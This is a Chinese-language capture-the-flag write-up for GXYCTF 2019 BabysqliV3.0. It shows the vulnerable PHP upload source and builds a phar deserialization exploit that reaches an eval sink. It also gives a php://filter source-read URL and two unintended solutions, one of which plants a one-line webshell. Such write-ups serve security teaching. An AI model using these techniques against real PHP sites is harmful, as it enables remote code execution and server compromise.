[GXYCTF 2019]BabysqliV3.0
首先弱密码 admin : password
进后台,发现是个文件上传页面
文件包含
仔细观察URL可以发现URL后面传的参数file
为upload
,于是猜测后台是用文件包含的方法将upload.php 给包含进来,于是使用php伪协议对upload进行编码包含得到源码
?file=php://filter/convert.base64-encode/resource=upload
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
phar 反序列化
审计 upload.php 代码:
$this->Filename = $_GET['name'];
可见 $this->Filename
是可控的,可以通过 name
参数以 get 方式得到
分析最后上传部分的代码
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
file_get_contents()
使 $uploader
通过__toString()
返回 $this->Filename
,$this->Filename
可控,因此此处 $this->Filename
用来触发 phar,__destruct()
方法内 eval($this->cmd);
进行 RCE
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
__destruct()
方法中,想要 eval($this->cmd);
的前提条件是 $this->token
和 $_SESSION['user']
相等
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
再看__construct()
方法,当我们不传name参数的时候,会将$this->Filename
赋值为包含$_SESSION['user']
值的文件名,因此我们可以先随便上传一个txt,在返回的目录中得到$_SESSION['user']
的值。
本地构造 phar 文件:
<?php
class Uploader
{
public $Filename;
public $cmd;
public $token;
}
$o = new Uploader();
$o->Filename="test";
$o->cmd="highlight_file('/var/www/html/flag.php');";
$o->token="GXYe93c412534fbb9d4e65ba04305e25f7f";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
注意要将
php.ini
中的phar.readonly
设置为off
然后将生成的 phar 上传
得到路径
/var/www/html/uploads/b0e76977dd2538c68d6d84909ae94b4f/GXYe93c412534fbb9d4e65ba04305e25f7f.txt
然后将这个路径带上 phar://
作为 name 参数的值,再随意上传一个文件,因为 $this->Filename
被我们手工指定为 phar,触发了 phar 反序列化导致命令执行。
http://f7b2b257-3537-412c-a99b-27dff6281cd5.node4.buuoj.cn:81/home.php?file=upload&name=phar:///var/www/html/uploads/b0e76977dd2538c68d6d84909ae94b4f/GXYe93c412534fbb9d4e65ba04305e25f7f.txt
值得一提的是,这里对name参数是有进行过滤的,其中就有.
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
那为什么我们后面传的name参数里面有.
但是没有被过滤呢?原因是它的.
前面还有个空格导致它只能匹配上空格.
,其他协议同理。
由于出题人对.
的过滤没写好,因此出现了2个非预期解。
直接getshell
upload()
内,只要文件小于 1024,就将上传文件到 $this->Filename
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
那我们只要使 $this->Filename
为 /var/www/html/uploads/1.php
,然后上传一个 txt 的一句话即可 getshell
http://172.21.4.12:10041/upload.php?name=/var/www/html/uploads/1.php
然后蚁剑连上去http://xxxxx/uploads/1.php
即可。
直接读flag.php
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
上传后会显示出 $uploader
这个文件的内容,所以只要使 $this->Filename
为 flag.php
然后随便传个东西就会得到 flag 了。